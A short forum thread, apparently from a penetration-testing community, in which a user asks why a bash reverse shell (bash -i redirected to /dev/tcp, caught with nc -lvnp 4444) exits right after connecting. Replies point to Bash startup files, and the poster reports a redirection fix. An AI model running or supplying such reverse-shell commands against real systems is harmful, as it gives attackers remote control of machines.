Reverse shell exit immediately after connected

Hello guys,
Every time I use bash -c 'bash -i >& /dev/tcp/ 2>&1 to connect nc -lvnp 4444
It exits immediately by auto type ‘exit’.
My OS is ubuntu and parrot os.

I would try to analyze the source of the exit command call.

Perhaps Manual page Bash-Startup-Files can help.

Solved, this command is wrong, “2>&1” should change to “1>&0”

1 Like